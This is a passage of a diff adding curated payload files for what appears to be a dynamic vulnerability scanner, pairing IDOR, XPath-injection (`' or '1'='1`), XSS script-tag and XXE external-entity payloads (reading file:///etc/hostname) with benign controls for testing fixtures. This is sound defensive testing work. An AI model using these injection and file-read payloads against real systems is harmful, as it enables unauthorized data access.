since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-python-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-python-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
41
src/dynamic/corpus/unauthorized_id/ruby.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/ruby.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! ruby `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-ruby-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/ruby/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-ruby-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-ruby-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/ruby/benign.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
41
src/dynamic/corpus/unauthorized_id/rust.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/rust.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! rust `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-rust-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/rust/vuln.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-rust-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-rust-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/rust/benign.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
53
src/dynamic/corpus/xpath/java.rs
Normal file
53
src/dynamic/corpus/xpath/java.rs
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
//! Java `Cap::XPATH_INJECTION` payloads — `javax.xml.xpath.XPath.evaluate`
|
||||
//! expression injection.
|
||||
//!
|
||||
//! Vuln payload: an XPath fragment whose `' or '1'='1` tail breaks
|
||||
//! out of the host template's `[@name='…']` predicate and rewraps
|
||||
//! the selector as `//user[@name='' or '1'='1']`, matching every
|
||||
//! node the staged document carries. The harness's instrumented
|
||||
//! `XPath.evaluate` records
|
||||
//! `ProbeKind::Xpath { nodes_returned: 3 }`.
|
||||
//!
|
||||
//! Benign control: the same intended username quoted via the
|
||||
//! harness's XPath-escape helper, leaving the expression pinned to a
|
||||
//! single node — `nodes_returned: 1`, oracle clear.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"alice' or '1'='1",
|
||||
label: "xpath-java-expression-wildcard",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 11,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xpath_injection/java/Vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "xpath-java-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "xpath-java-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 11,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xpath_injection/java/Benign.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
53
src/dynamic/corpus/xpath/js.rs
Normal file
53
src/dynamic/corpus/xpath/js.rs
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
//! JavaScript `Cap::XPATH_INJECTION` payloads — `xpath` npm package's
|
||||
//! `select` expression injection.
|
||||
//!
|
||||
//! Vuln payload: an XPath fragment whose `' or '1'='1` tail breaks
|
||||
//! out of the host template's `[@name='…']` predicate; the
|
||||
//! synthesized expression becomes `//user[@name='' or '1'='1']` and
|
||||
//! matches every node in the staged document. The harness's
|
||||
//! instrumented `xpath.select` records
|
||||
//! `ProbeKind::Xpath { nodes_returned: 3 }`.
|
||||
//!
|
||||
//! Benign control: the same intended username quoted via the
|
||||
//! harness's XPath-escape helper, leaving the expression pinned to a
|
||||
//! single node — `nodes_returned: 1`, oracle clear.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"alice' or '1'='1",
|
||||
label: "xpath-js-expression-wildcard",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 11,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xpath_injection/js/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "xpath-js-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "xpath-js-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 11,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xpath_injection/js/benign.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
29
src/dynamic/corpus/xpath/mod.rs
Normal file
29
src/dynamic/corpus/xpath/mod.rs
Normal file
|
|
@ -0,0 +1,29 @@
|
|||
//! XPath expression injection (`Cap::XPATH_INJECTION`) per-language
|
||||
//! payload slices.
|
||||
//!
|
||||
//! Phase 07 (Track J.5) carves XPath injection across the four
|
||||
//! most-common XPath evaluator stacks: Java
|
||||
//! (`javax.xml.xpath.XPath.evaluate`), Python (`lxml.etree.xpath`),
|
||||
//! PHP (`DOMXPath::query`), and Node.js (`xpath` npm package's
|
||||
//! `select`). Every vuln payload appends the canonical
|
||||
//! `' or '1'='1` quote-escape break — once the host code substitutes
|
||||
//! the attacker bytes into its XPath template the synthesized
|
||||
//! expression selects every node the in-workdir
|
||||
//! [`crate::dynamic::stubs::xpath_document`] XML carries (three
|
||||
//! users). The paired benign control quotes the same bytes through
|
||||
//! the per-language escape helper, leaving the expression pinned to
|
||||
//! the originally-intended single node.
|
||||
//!
|
||||
//! The oracle's
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::QueryResultCountGreaterThan`]
|
||||
//! checks the per-payload `ProbeKind::Xpath.nodes_returned` against
|
||||
//! `n = 1` — vuln passes (3 nodes), benign clears (1 node),
|
||||
//! fulfilling the §4.1 differential rule. The same predicate also
|
||||
//! satisfies LDAP probes (`ProbeKind::Ldap.entries_returned`); the
|
||||
//! Phase 06 → Phase 07 rename from `LdapResultCountGreaterThan` to
|
||||
//! `QueryResultCountGreaterThan` captures the shared shape.
|
||||
|
||||
pub mod java;
|
||||
pub mod js;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
53
src/dynamic/corpus/xpath/php.rs
Normal file
53
src/dynamic/corpus/xpath/php.rs
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
//! PHP `Cap::XPATH_INJECTION` payloads — `DOMXPath::query` expression
|
||||
//! injection.
|
||||
//!
|
||||
//! Vuln payload: an XPath fragment whose `' or '1'='1` tail breaks
|
||||
//! out of the host template's `[@name='…']` predicate; the
|
||||
//! synthesized expression becomes `//user[@name='' or '1'='1']` and
|
||||
//! matches every node in the staged document. The harness's
|
||||
//! instrumented `DOMXPath::query` records
|
||||
//! `ProbeKind::Xpath { nodes_returned: 3 }`.
|
||||
//!
|
||||
//! Benign control: the same intended username quoted via the
|
||||
//! harness's XPath-escape helper, leaving the expression pinned to a
|
||||
//! single node — `nodes_returned: 1`, oracle clear.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"alice' or '1'='1",
|
||||
label: "xpath-php-expression-wildcard",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 11,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xpath_injection/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "xpath-php-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "xpath-php-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 11,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xpath_injection/php/benign.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
53
src/dynamic/corpus/xpath/python.rs
Normal file
53
src/dynamic/corpus/xpath/python.rs
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
//! Python `Cap::XPATH_INJECTION` payloads — `lxml.etree.xpath`
|
||||
//! expression injection.
|
||||
//!
|
||||
//! Vuln payload: an XPath fragment whose `' or '1'='1` tail breaks
|
||||
//! out of the host template's `[@name='…']` predicate; the
|
||||
//! synthesized expression becomes `//user[@name='' or '1'='1']` and
|
||||
//! matches every node in the staged document. The harness's
|
||||
//! instrumented `xpath` evaluator records
|
||||
//! `ProbeKind::Xpath { nodes_returned: 3 }`.
|
||||
//!
|
||||
//! Benign control: the same intended username quoted via the
|
||||
//! harness's XPath-escape helper, leaving the expression pinned to a
|
||||
//! single node — `nodes_returned: 1`, oracle clear.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"alice' or '1'='1",
|
||||
label: "xpath-python-expression-wildcard",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 11,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xpath_injection/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "xpath-python-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "xpath-python-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::QueryResultCountGreaterThan { n: 1 }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 11,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xpath_injection/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
3
src/dynamic/corpus/xss/mod.rs
Normal file
3
src/dynamic/corpus/xss/mod.rs
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
//! XSS (`Cap::HTML_ESCAPE`) per-language payload slices.
|
||||
|
||||
pub mod rust;
|
||||
40
src/dynamic/corpus/xss/rust.rs
Normal file
40
src/dynamic/corpus/xss/rust.rs
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
//! XSS payloads exercised by Rust fixtures
|
||||
//! (`tests/benchmark/corpus/rust/xss/axum_html/`).
|
||||
//!
|
||||
//! Vuln: raw script tag echoed to output.
|
||||
//! Benign: harmless text that should NOT produce the XSS marker.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"<script>NYX_XSS_CONFIRMED</script>",
|
||||
label: "xss-script-marker",
|
||||
oracle: Oracle::OutputContains("<script>NYX_XSS_CONFIRMED</script>"),
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 1,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/benchmark/corpus/rust/xss/axum_html/main.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "xss-benign-text",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"Hello World",
|
||||
label: "xss-benign-text",
|
||||
oracle: Oracle::OutputContains("<script>NYX_XSS_CONFIRMED</script>"),
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 1,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/benchmark/corpus/rust/xss/axum_html/main.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
87
src/dynamic/corpus/xxe/go.rs
Normal file
87
src/dynamic/corpus/xxe/go.rs
Normal file
|
|
@ -0,0 +1,87 @@
|
|||
//! Go `Cap::XXE` payloads — `encoding/xml.Decoder` with `Strict: false`.
|
||||
//!
|
||||
//! Vuln payload: an XML document declaring an external entity that
|
||||
//! the harness's instrumented `xml.Decoder` (running non-strict so
|
||||
//! the doctype is parsed at all) expands inside `<data>`; the shim
|
||||
//! writes `ProbeKind::Xxe { entity_expanded: true }` once it sees the
|
||||
//! entity body substitute into the decoded element value.
|
||||
//!
|
||||
//! Benign control: a well-formed XML document with no doctype, so the
|
||||
//! decoder has no entity to resolve and the shim writes
|
||||
//! `entity_expanded: false`.
|
||||
//!
|
||||
//! OOB-nonce variant (added 2026-05-21): when the runner attaches an
|
||||
//! [`crate::dynamic::oob::OobListener`] the harness's
|
||||
//! `nyxBuildXxeDocument` helper performs a real `http.Client.Get`
|
||||
//! against the loopback URL so the listener records the per-finding
|
||||
//! nonce. Ordered first so iteration exercises OOB before the
|
||||
//! doctype-entity vuln triggers and short-circuits.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"",
|
||||
label: "xxe-go-oob-nonce",
|
||||
oracle: Oracle::OobCallback { host: "127.0.0.1" },
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/go/vuln.go"],
|
||||
oob_nonce_slot: true,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: Some(
|
||||
"OOB-nonce XXE payload self-confirms via the per-finding listener \
|
||||
callback when the Go harness performs the loopback GET before \
|
||||
building the DTD; no benign URL can hit the nonce path.",
|
||||
),
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"<?xml version="1.0"?>
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/hostname">
|
||||
]>
|
||||
<data>&xxe;</data>"#,
|
||||
label: "xxe-go-doctype-entity",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 9,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/go/vuln.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "xxe-go-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"<?xml version="1.0"?>
|
||||
<data>hello</data>"#,
|
||||
label: "xxe-go-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 9,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/go/benign.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
89
src/dynamic/corpus/xxe/java.rs
Normal file
89
src/dynamic/corpus/xxe/java.rs
Normal file
|
|
@ -0,0 +1,89 @@
|
|||
//! Java `Cap::XXE` payloads — `DocumentBuilderFactory` / `SAXParser`.
|
||||
//!
|
||||
//! Vuln payload: an XML document declaring an external entity that
|
||||
//! the harness's instrumented `DocumentBuilder.parse` resolves and
|
||||
//! substitutes inside `<data>` — the parser writes a
|
||||
//! `ProbeKind::Xxe { entity_expanded: true }` record once it sees the
|
||||
//! entity body materialise.
|
||||
//!
|
||||
//! Benign control: a well-formed XML document with no doctype
|
||||
//! declaration so the parser has no entity to resolve. The harness's
|
||||
//! instrumented parser writes `entity_expanded: false`, the oracle
|
||||
//! does not fire, and the differential rule (§4.1) stays clean.
|
||||
//!
|
||||
//! OOB-nonce variant (added 2026-05-21): when the runner attaches an
|
||||
//! [`crate::dynamic::oob::OobListener`] the harness's `EntityResolver`
|
||||
//! hook performs a real `HttpURLConnection.openConnection().getInputStream()`
|
||||
//! against the loopback URL so the listener records the per-finding nonce.
|
||||
//! Ordered first so the runner exercises the OOB observation path before
|
||||
//! the doctype-entity vuln below triggers and short-circuits iteration;
|
||||
//! runs without a listener skip cleanly (runner `oob_nonce_slot` branch).
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"",
|
||||
label: "xxe-java-oob-nonce",
|
||||
oracle: Oracle::OobCallback { host: "127.0.0.1" },
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/java/Vuln.java"],
|
||||
oob_nonce_slot: true,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: Some(
|
||||
"OOB-nonce XXE payload self-confirms via the per-finding listener \
|
||||
callback when DocumentBuilder's EntityResolver fetches the \
|
||||
loopback URL; no benign URL can hit the nonce path.",
|
||||
),
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"<?xml version="1.0"?>
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/hostname">
|
||||
]>
|
||||
<data>&xxe;</data>"#,
|
||||
label: "xxe-java-doctype-entity",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 9,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/java/Vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "xxe-java-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"<?xml version="1.0"?>
|
||||
<data>hello</data>"#,
|
||||
label: "xxe-java-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 9,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/java/Benign.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
24
src/dynamic/corpus/xxe/mod.rs
Normal file
24
src/dynamic/corpus/xxe/mod.rs
Normal file
|
|
@ -0,0 +1,24 @@
|
|||
//! XML External Entity expansion (`Cap::XXE`) per-language payload slices.
|
||||
//!
|
||||
//! Phase 05 (Track J.3) carves XXE across the five most-common XML
|
||||
//! parser stacks: Java (`DocumentBuilderFactory`), Python
|
||||
//! (`lxml.etree.XMLParser`), PHP (`simplexml_load_string` under
|
||||
//! `libxml_disable_entity_loader(false)`), Ruby (REXML / Nokogiri), and
|
||||
//! Go (`encoding/xml.Decoder`). Every vuln payload ships an XML
|
||||
//! document declaring an external entity (`<!ENTITY xxe SYSTEM "…">`)
|
||||
//! that the engine expands inside an element body. The paired benign
|
||||
//! control omits the doctype + entity so the parser has nothing to
|
||||
//! resolve; the oracle's
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::XxeEntityExpanded`] check
|
||||
//! satisfies on the vuln run (`entity_expanded: true`) and stays clear
|
||||
//! on the benign run, fulfilling the §4.1 differential rule.
|
||||
//!
|
||||
//! C# is intentionally omitted: the [`crate::symbol::Lang`] enum has
|
||||
//! no `CSharp` variant, so the corpus has nowhere to register it.
|
||||
//! Tracked in `.pitboss/play/deferred.md`.
|
||||
|
||||
pub mod go;
|
||||
pub mod java;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
pub mod ruby;
|
||||
87
src/dynamic/corpus/xxe/php.rs
Normal file
87
src/dynamic/corpus/xxe/php.rs
Normal file
|
|
@ -0,0 +1,87 @@
|
|||
//! PHP `Cap::XXE` payloads — `simplexml_load_string` under
|
||||
//! `libxml_disable_entity_loader(false)`.
|
||||
//!
|
||||
//! Vuln payload: an XML document declaring an external entity that
|
||||
//! the harness's instrumented parser expands inside `<data>`; the
|
||||
//! shim writes `ProbeKind::Xxe { entity_expanded: true }` once it
|
||||
//! sees the entity body substitute into the parsed output.
|
||||
//!
|
||||
//! Benign control: a well-formed XML document with no doctype, so
|
||||
//! the parser has no entity to resolve and the shim writes
|
||||
//! `entity_expanded: false`.
|
||||
//!
|
||||
//! OOB-nonce variant (added 2026-05-21): when the runner attaches an
|
||||
//! [`crate::dynamic::oob::OobListener`] the harness's
|
||||
//! `libxml_set_external_entity_loader` callback performs a real
|
||||
//! `file_get_contents` against the loopback URL so the listener records
|
||||
//! the per-finding nonce. Ordered first so iteration exercises OOB
|
||||
//! before the doctype-entity vuln triggers and short-circuits.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"",
|
||||
label: "xxe-php-oob-nonce",
|
||||
oracle: Oracle::OobCallback { host: "127.0.0.1" },
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/php/vuln.php"],
|
||||
oob_nonce_slot: true,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: Some(
|
||||
"OOB-nonce XXE payload self-confirms via the per-finding listener \
|
||||
callback when libxml's external-entity loader fetches the \
|
||||
loopback URL; no benign URL can hit the nonce path.",
|
||||
),
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"<?xml version="1.0"?>
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/hostname">
|
||||
]>
|
||||
<data>&xxe;</data>"#,
|
||||
label: "xxe-php-doctype-entity",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 9,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/xxe/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::XxeEntityExpanded {
|
||||
require_expanded: true,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "xxe-php-benign",
|
||||
}),
|
